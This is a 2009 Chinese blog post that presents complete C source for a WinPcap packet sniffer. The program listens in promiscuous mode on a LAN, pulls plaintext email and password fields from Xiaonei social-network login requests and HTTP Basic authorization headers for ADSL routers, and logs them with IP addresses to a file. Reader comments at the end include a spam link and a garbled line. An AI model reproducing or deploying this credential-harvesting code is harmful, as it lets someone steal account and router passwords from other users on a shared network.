原理很简单,就是数据包嗅探(使用Winpcap开发包),协议分析。
效果图如下:
代码如下:
//ADSL路由器密码+校内网(http://www.xiaonei.com)密码嗅探器
//E-mail:redice@see.xidian.edu.cn
//http://redice.1.suhai.com.cn
#include <pcap.h>
#include "remote-ext.h"
#define WPCAP
#define HAVE_REMOTE
#pragma comment(lib,"wpcap")
#pragma comment(lib,"ws2_32")
int k=1;
char LogFile[200];//日志文件路径
/*物理帧头结构*/
typedef struct {
BYTE DesMAC[6];//目的MAC地址
BYTE SrcMAC[6];//源MAC地址
USHORT Ethertype;//帧类型
}DLC_Header;
BYTE tcp_body[1024];//Tcp数据部分
//IP报头结构
typedef struct {
BYTE h_len:4; //首部长度指的是IP层头部占32 bit字的数目
//(也就是IP层头部包含多少个4字节,实际字节数4*hlen),
BYTE version:4; //IP版本号
BYTE tos; //服务类型TOS
USHORT total_len; //IP包总长度
USHORT ident; //标识
USHORT frag_and_flags; //标志位
BYTE ttl; //生存时间
BYTE proto; //协议
USHORT checksum; //IP首部校验和
BYTE sourceIP[4]; //源IP地址(32位)
BYTE destIP[4]; //目的IP地址(32位)
}IpHeader;
//TCP头
typedef struct _TCP{
USHORT SrcPort; // 源端口
USHORT DstPort; // 目的端口
UINT SeqNum; // 顺序号
UINT AckNum; // 确认号
BYTE DataOff; // TCP头长
BYTE Flags; // 标志(URG、ACK等)
USHORT Window; // 窗口大小
USHORT Chksum; // 校验和
USHORT UrgPtr; // 紧急指针
}TcpHeader;
void PutBytesIntoLog(char *,char *);
void packet_handler(u_char *, const struct pcap_pkthdr *, const u_char *);
void main()
{
pcap_t *fp;
char errbuf[PCAP_ERRBUF_SIZE];
char packet_filter[] = "";
pcap_if_t *alldevs;
pcap_if_t *d;
UINT netmask;
struct bpf_program fcode;
int i=0;
BYTE choise;
memset(LogFile,0,200);
if(!GetCurrentDirectory(200,LogFile))
{
printf("获取程序当前目录失败!
");
return;
}
if(LogFile[strlen(LogFile)-1]!=\)//如果程序当前路径最后一个字符不是则加之
{
LogFile[strlen(LogFile)]=\;
}
strcat(LogFile,"Pass.log");//产生日志文件路径(含名称)
/* 获取本地机器设备列表 */
if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL /* auth is not needed */, &alldevs, errbuf) == -1)
{
fprintf(stderr,"获取网卡设备列表出错: %s
", errbuf);
return;
}
//列出网卡设备信息
for(d=alldevs,i=0; d!=NULL; i++,d=d->next)
{
printf("网卡%d :%s
(描述:%s)
",i+1,d->name,d->description);
}
if(0==i)//没有网卡
{
printf("未找到网卡设备!
");
pcap_freealldevs(alldevs);
}
else if(1==i)//仅有一块网卡
{
printf("本机仅有一块网卡设备,程序将使用该网卡!
");
d=alldevs;
}
else//有多块网卡
{
printf("本机有%d块网卡设备,请指定本程序要使用的网卡设备编号:",i);
label:
choise=(char)getchar()-0; //取得用户选择的网卡编号
if(choise<0||choise>i)
{
printf("
错误的网卡编号,请重新选择:
");
goto label;
}
for(d=alldevs,i=1; i<choise;i++,d=d->next);
}
/* 打开输出设备 */
if ( (fp= pcap_open(d->name, // 设备名
65536, // 要捕获的部分
PCAP_OPENFLAG_PROMISCUOUS, // 混杂模式
1000, // 读超时时间
NULL, // 远程机器验证
errbuf // 错误缓冲
) ) == NULL)
{
printf("
不能打开该网卡. %s 不被WinPacp驱动所支持!
", d->name);
pcap_freealldevs(alldevs);
return;
}
/* 检查数据链路层,为了简单,我们只考虑以太网 */
if(pcap_datalink(fp) != DLT_EN10MB)
{
fprintf(stderr,"
这个程序仅能工作于局域网.
");
/* 释放设备列表 */
pcap_freealldevs(alldevs);
return;
}
if(d->addresses!=NULL)
/* 获得接口第一个地址的掩码 */
netmask=((struct sockaddr_in *)(d->addresses->netmask))->sin_addr.S_un.S_addr;
else
/* 如果接口没有地址,那么我们假设一个C类的掩码 */
netmask=0xffffff;
//编译过滤器
if (pcap_compile(fp, &fcode, packet_filter, 1, netmask) <0 )
{
fprintf(stderr,"
Unable to compile the packet filter. Check the syntax.
");
/* 释放设备列表 */
pcap_freealldevs(alldevs);
return;
}
//设置过滤器
if (pcap_setfilter(fp, &fcode)<0)
{
fprintf(stderr,"
Error setting the filter.
");
/* 释放设备列表 */
pcap_freealldevs(alldevs);
return;
}
/* 不再需要设备列表了,释放它 */
pcap_freealldevs(alldevs);
printf("
正在监听网卡%d...
",choise);
/* 开始捕捉 */
pcap_loop(fp, 0, packet_handler, NULL);
return;
}
/* 回调函数,当收到每一个数据包时会被libpcap所调用 */
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
{
int i=0;
BYTE cr[5];//双汇车换行,用以从HTTP报文中截取有用的数据
DLC_Header *dlcheader;//物理帧
IpHeader *ipheader;//IP头
TcpHeader *tcpheader;//Tcp头
USHORT ip_len;//IP头的长度
BYTE tcp_body[6000];//Tcp包
BYTE userpass[100];//密码
UINT userpasslen;
UINT tcp_body_len;//Tcp包的长度
BYTE ip[50];//IP地址
dlcheader=(DLC_Header *)pkt_data;
if(0x0800!=ntohs(dlcheader->Ethertype)) return; //如果不是IP包则返回
ipheader=(IpHeader *)(pkt_data+14);//Ip头
cr[0]=0x0D;
cr[1]=0x0A;
cr[2]=0x0D;
cr[3]=0x0A;
cr[4]=0x00;
memset(ip,0,50);
sprintf(ip,"IP From->To:%d.%d.%d.%d->%d.%d.%d.%d
",
ipheader->sourceIP[0],
ipheader->sourceIP[1],
ipheader->sourceIP[2],
ipheader->sourceIP[3],
ipheader->destIP[0],
ipheader->destIP[1],
ipheader->destIP[2],
ipheader->destIP[3]
);
printf(" *%d* %s",k++,ip);
if(0x06!=ipheader->proto) return;//如果不是TCP包则返回
ip_len=(ipheader->h_len & 0xf)*4;
tcpheader=(TcpHeader *)((char *)ipheader+ip_len);
memset(tcp_body,0,6000);
tcp_body_len=ntohs(ipheader->total_len)-ip_len;//TCP包的长度=IP包的长度-IP头的长度
if(ntohs(tcpheader->DstPort)==0x0050) //如果是http(80端口)包
{
memcpy(tcp_body,(void *)((char *)tcpheader+20),tcp_body_len-20);
//经过一下四重判断,足以肯定该数据包中含有校内网用户登录名和密码
if(strstr(tcp_body,"xiaonei.com"))//如果包中有"xiaonei.com"字段则继续
{
//printf("
完整的数据包
%s",tcp_body);
if(strstr(tcp_body,cr))//如果包中有分隔符(双回车换行)则继续
{
//printf("
完整的数据包
%s",strstr(tcp_body,cr));
if(strstr(strstr(tcp_body,cr),"email="))//分隔符后有"email="字段则继续
{
if(strstr(strstr(tcp_body,cr),"password="))//如果分隔符后有"password="字段则继续
{
printf(" *%d* %s",k++,ip);
memset(userpass,0,100);
//计算用户名和密码字段总长度(报文格式:0x0d0x0a0x0d0x0aemail=***&password=***&orig)
userpasslen=strlen(strstr(tcp_body,cr))-strlen(strstr(tcp_body,"&orig")-4);
memcpy(userpass,(void*)(strstr(tcp_body,cr)+4),userpasslen);
printf("发现密码:
%s
",userpass);
//将用户名密码写入文件
PutBytesIntoLog(ip,LogFile);//写入IP地址
PutBytesIntoLog(userpass,LogFile);
PutBytesIntoLog(cr,LogFile);//写入换行符
}
}
}
}
//如果包中含有该字段则可以推断这是含有路由器认证的数据包
if(strstr(tcp_body,"Authorization: Basic"))
{
printf(" *%d* %s",k++,ip);
memset(userpass,0,100);
userpasslen=strlen(strstr(tcp_body,"Authorization: Basic"))-strlen(strstr(tcp_body,cr));
memcpy(userpass,strstr(tcp_body,"Authorization: Basic"),userpasslen);
printf("发现路由器帐号密码:
%s
",userpass);
PutBytesIntoLog(ip,LogFile);//写入IP地址
PutBytesIntoLog(userpass,LogFile);
PutBytesIntoLog(cr,LogFile);//写入换行符
}
//对其它数据包的处理
}
//如果是SMTP(25端口)或者POP3(110端口)则进行如下处理
else if(ntohs(tcpheader->DstPort)==0x0019||ntohs(tcpheader->DstPort)==0x006E)
{
//对其它数据包的处理
printf("这是一个pop3或者smtp数据包! %s
",ip);
}
return;
}
void PutBytesIntoLog (char *buf,char *filename)
{
FILE *fileopr;
if((fileopr=fopen(filename,"a"))==NULL)
{
printf("
打开日志出错!
");
}
fwrite(buf,sizeof(char),strlen(buf),fileopr);
fclose(fileopr);
}
附源代码:
File: Click to Download
[WinPcap]ADSL路由器,校内网密码嗅探器
[日志分享]
[日志信息]
该日志于 2009-02-26 13:06 由 redice 发表在 redice's Blog ,你除了可以发表评论外,还可以转载 “[WinPcap]ADSL路由器,校内网密码嗅探器” 日志到你的网站或博客,但是请保留源地址及作者信息,谢谢!! (尊重他人劳动,你我共同努力)
呵呵,谢谢
VaTG790i.最好的<a href=http://www.kyfei.com>网站推广软件</a>,
非常好
....................
;ui;普i;uighur;ui;ui;个
在unix网络编程中看到了关于TCP/IP的一些内容,我感觉还是写的不够。正在下载中,一定
下载地址呢